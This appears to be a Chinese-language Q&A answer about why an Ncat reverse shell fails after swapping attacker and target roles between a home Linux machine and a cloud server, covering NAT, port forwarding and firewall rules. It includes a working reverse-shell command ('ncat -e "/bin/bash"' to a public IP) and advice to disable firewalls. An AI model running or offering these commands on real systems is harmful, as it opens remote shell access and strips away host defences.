Ncat反向shell互换攻击与目标机器后无法建立连接求助
反向Shell互换角色后无法连接的诊断与解决
核心原因拆解
场景1能正常工作,是因为云服务器拥有公网IP且安全组开放了489端口,本地机作为主动发起连接的一方,出站请求通常不会被本地网络防火墙拦截;而场景2失败,主要是以下几个关键限制:
1. 本地机的NAT网络限制
绝大多数家庭/办公网络中的本地Linux机处于NAT(网络地址转换)环境下,没有直接对外的公网IP。云服务器作为客户端发起连接时,无法定位到你的本地监听端口——而场景1中本地机主动连接云服务器公网IP,路由器会自动生成临时NAT映射,所以能建立连接。
2. 云服务器的出站规则拦截
云服务器的安全组或系统防火墙可能默认限制了出站流量,尤其是非标准端口(489不属于HTTP、SSH这类常见端口),导致云服务器无法主动发起对本地机489端口的连接请求。
3. 本地机的入站防火墙阻挡
本地Linux机的防火墙(如ufw、iptables)默认会拒绝外部入站连接,即使你在本地监听了489端口,云服务器的连接请求也会被直接拦截。
分步解决方法
处理本地机无公网IP的问题
如果本地机在NAT网络下,需要在路由器上配置端口转发:
- 登录路由器管理后台,找到「端口转发」或「虚拟服务器」选项
- 将路由器公网IP的489端口,映射到本地Linux机的内网IP(例如192.168.3.10)的489端口
- 此时云服务器发起连接时,目标IP需填写路由器的公网IP,而非本地机的内网IP
检查云服务器的出站规则
- 登录云服务商控制台,查看安全组的出站规则,确保允许所有出站流量,或明确添加允许访问489/tcp端口的规则
- 临时关闭云服务器防火墙测试:
sudo ufw disable(Ubuntu系统),如果能连接,说明是防火墙规则导致的拦截
开放本地机的入站端口
- 临时关闭本地防火墙测试:
sudo ufw disable - 若测试成功,添加永久入站规则:
sudo ufw allow 489/tcp
修正监听与连接命令
场景2的正确命令格式:
- 本地攻击机监听(需监听所有网卡,而非仅内网IP):
ncat -lnv 0.0.0.0 489 - 云服务器目标机发起连接:
ncat -e "/bin/bash" [你的路由器公网IP/本地公网IP] 489
验证技巧
先跳过反向Shell,用普通Ncat测试网络连通性:
- 本地机执行:
ncat -lnv 489 - 云服务器执行:
ncat [你的公网IP] 489
如果双方能正常发送消息,说明网络连通性没问题,再添加-e参数启用Shell转发即可。
内容的提问来源于stack exchange,提问作者Uday Kiran
相关产品推荐
相关产品推荐

